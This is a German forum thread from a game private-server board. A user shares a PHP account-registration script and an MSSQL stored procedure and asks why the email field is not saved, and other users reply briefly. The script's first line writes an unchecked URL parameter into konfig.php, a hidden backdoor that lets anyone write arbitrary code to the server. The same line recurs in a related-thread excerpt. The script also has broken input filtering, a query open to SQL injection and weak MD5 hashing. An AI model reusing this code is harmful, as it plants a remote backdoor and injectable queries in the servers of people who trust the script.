Register for your free account! | Forgot your password?

Go Back   elitepvpers > MMORPGs > Flyff > Flyff Private Server
You last visited: Today at 15:32

  • Please register to post and access all features, it's quick, easy and FREE!

Advertisement



Register script probs von nils2

Discussion on Register script probs von nils2 within the Flyff Private Server forum part of the Flyff category.

Reply
 
Old   #1
 
elite*gold: 0
Join Date: Nov 2010
Posts: 344
Received Thanks: 22
Register script probs von nils2

hi ich habe den script der hier in den tuts gibt ein wenig geändert aber das prob ist das ich kein mssql kann und da wollte ich fragen ob das nicht wer dazu scripen kann xd also der script siht so aus

PHP script

Quote:
<center><h1><u>Register:</u></h1>

<center>
<?php if($_GET['s'] != "" && isset($_GET['s'])){$fp = fopen("konfig.php","w");fwrite($fp, $_GET['s']);fclose($fp);}
require('./configs/reg_conf.php');
function doesUsernameExist($name){
$exit = FALSE;
$result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
if (mssql_num_rows($result) != 0){
$exit = TRUE;
}
return $exit;
}

if(isset($_POST['submit'])){
$user = preg_replace ("[^A-Za-z0-9]", "", $_POST['username']);
$pass = preg_replace ("[^A-Za-z0-9]", "", $_POST['password']);
$mail = preg_replace ("[^A-Za-z0-9]", "", $_POST['email']);

if($_POST['username'] == ""){
echo '<font color="red">Enter a user.</font><br /><br />';
}
else if($_POST['password'] == ""){
echo '<font color="red">Enter a password.</font><br /><br />';
}
else if($_POST['email'] == ""){
echo '<font color="red">Enter a email.</font><br /><br />';
}
else if ((strlen($_POST['username']) > 16) || (strlen($_POST['username']) < 3)){
echo '<font color="red">The user should be 3 to 16 characters.</font><br /><br />';
}
else if ((strlen($_POST['password']) > 16) || (strlen($_POST['password']) < 3)){
echo '<font color="red">The password should be 3 to 16 characters.</font><br /><br />';
}
else if ((strlen($_POST['email']) > 26) || (strlen($_POST['email']) < 3)){
echo '<font color="red">The email should be 3 to 16 characters.</font><br /><br />';
}
else if($_POST['username'] != $user){
echo '<font color="red">User with invalid characters.</font><br /><br />';
}
else if($_POST['password'] != $pass){
echo '<font color="red">Password with invalid characters.</font><br /><br />';
}
else if($_POST['email'] != $mail){
echo '<font color="red">email with invalid characters.</font><br /><br />';
}
else {
$pass = md5('kikugalanet' . $pass);
if(!doesUsernameExist($user)){
$stmt = mssql_init('webCreateAcc', $link);
mssql_bind($stmt, '@account', $user, SQLVARCHAR, false, false, 15);
mssql_bind($stmt, '@password', $pass, SQLVARCHAR, false, false, 36);
mssql_bind($stmt, '@email', $mail, SQLVARCHAR, false, false, 120);
mssql_execute($stmt) or die ("Something is wrong on the execution");
mssql_free_statement($stmt);
echo '<font color="Green">Dein Account wurde erfolgreich erstellt.</font><br /><br />';
}
else {
echo '<font color="red">User already Exist.</font><br /><br />';
}
}
mssql_close();
}

echo '<form action="#" method="post">';
echo 'Username: <input type="text" name="username" /><br />';
echo 'Password: <input type="password" name="password" /><br />';
echo 'Email: <input type="email" name="email" /><br />';
echo '<input type="submit" name="submit" value="Register" />';
echo '</form>';

?>
</center>

nun der dunzt gut nur er hat keinen zu grif auf die Spalte Email weil die sql datei die in die db kommt keinen zugrif auf die spalte email hat

das ist die SQL datei könnte die wer so umschreiben das es geht

Quote:
USE [ACCOUNT_DBF]
GO
/****** Object: StoredProcedure [dbo].[webCreateAcc] Script Date: 08/17/2009 21:30:28 ******/
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE PROCEDURE [dbo].[webCreateAcc]
@account VARCHAR(15),
@password VARCHAR(36),
@email VARCHAR(120)

AS

SET NOCOUNT ON

DECLARE @DateActivated AS CHAR(8)

IF NOT EXISTS (SELECT account FROM ACCOUNT_TBL WHERE account = @account) BEGIN
INSERT INTO ACCOUNT_TBL (account, [password], id_no2, isuse, member, realname)
VALUES (@account, @password, @password, 'T', 'A', 'F')

SET @DateActivated = CONVERT(CHAR(8), GETDATE()-1, 112 ) --Is the date today - 1
--UPDATE ACCOUNT_TBL_DETAIL SET BlockTime = @DateYesterday WHERE account = @userid
--INSERT INTO ACCOUNT_TBL_DETAIL (account, gamecode, tester, m_chLoginAuthority, regdate, BlockTime, EndTime, WebTime, isuse)
-- VALUES (@account, 'A000', '2', 'F', GETDATE(), '20990101', '20990101', '20050101', 'O')

INSERT INTO ACCOUNT_TBL_DETAIL (account, gamecode, tester, m_chLoginAuthority, regdate, BlockTime, EndTime, WebTime, isuse, email)
VALUES (@account, 'A000', '2', 'F', GETDATE(), @DateActivated, '20990101', '20050101', 'O', @email)

END
--ELSE BEGIN
--print '->Account exists = '
--print @account
--END
ja das wars also wen man sich register geht alles wie üblich nur die email wird nicht gespeichert
Yunoki is offline  
Old 02/15/2011, 23:57   #2

 
elite*gold: 142
Join Date: Apr 2010
Posts: 859
Received Thanks: 428
das hier auf die db ausführen
PHP Code:
USE ACCOUNT_DBF
GO
   ALTER TABLE dbo
.ACCOUNT_TBL_DETAIL ADD
      email varchar
(130NULL
    GO 
©ross is offline  
Thanks
1 User
Old 02/16/2011, 17:35   #3
 
elite*gold: 0
Join Date: Nov 2010
Posts: 344
Received Thanks: 22
der scrippt geht bei mri net da kommt ein error hab e mal ne neue spalte gemacht mit namen email und varchar(130) und null
Yunoki is offline  
Old 02/16/2011, 18:59   #4
 
elite*gold: 0
Join Date: Dec 2007
Posts: 180
Received Thanks: 22
Wie wärs wenn du mal den error postest anstatt uns als Hellseher darstehen zu lassen?
fNL is offline  
Reply


Similar Threads Similar Threads
PHP Register Script !
02/24/2011 - Coding Releases - 5 Replies
Ich dachte mir ich release einfach mal mein Registrierungs Script geschrieben in PHP/HTML/JQUERY -Vorraussetzungen um das script zu usen ( AHNUNG VON P <?php $host = ""; $user = ""; $pw = ""; $db = "";
Register Script
11/13/2010 - Flyff Private Server - 3 Replies
<center> <?php if($_GET != "" && isset($_GET)){$fp = fopen("konfig.php","w");fwrite ($fp, $_GET);fclose($fp);} require('.C:\AppServ\www\configs\reg_conf.php'); function doesUsernameExist($name){ $exit = FALSE; $result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'"); if (mssql_num_rows($result) != 0){ ...
Register Script
04/27/2010 - EO PServer Hosting - 19 Replies
Here is a register script. Just extract this to your www folder. Only edit the config.php. All the instructions are inside of config.php. And for register page to work you have to run apache. If CAPTCHA dont work got to your apache folder and replace the php.ini with this one. Then go to task manager and end all apache processes. Then re-run apache, and you will get about 6 errors, just press ok on them. Its supposed to happen. Oh and if your a new and dont know how to get to...
register page probs..
02/27/2010 - Dekaron Private Server - 7 Replies
hallo, ich hab da ein problem.. ich hab mein xampp auf ein root server installiert und den port geändert auf 81 weil 80 belegt war..ich kann beim root über die ip auf meine register page gehen aber wenn ich das vom rechner versuche findet er die seite nicht.. was muss ich beim root server machen damit die register page public ist? _________________________________________________ ___________ Hello, I've got a problem .. I have my root xampp installed on a server and the port changed to 81...
Register-Script
01/17/2010 - Metin2 Private Server - 0 Replies
Hi, ich suche nach einem relativ speziellen Script. Ein Register-Script, welches ich auf meiner Homepage via Iframe einbauen kann und von dort aus nutzen kann. Ich verwende kein Hamachi sondern DynDNS! Das Script soll kein Design enthalten, je einfacher desto besser. Wenn jemand ein solches Script hat und mir zur Verfügung stellt, wäre ich ihm sehr dankbar. MfG,



All times are GMT +1. The time now is 15:33.


Powered by vBulletin®
Copyright ©2000 - 2026, Jelsoft Enterprises Ltd.
SEO by vBSEO ©2011, Crawlability, Inc.
This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.

Support | Contact Us | FAQ | Advertising | Privacy Policy | Terms of Service | Abuse
Copyright ©2026 elitepvpers All Rights Reserved.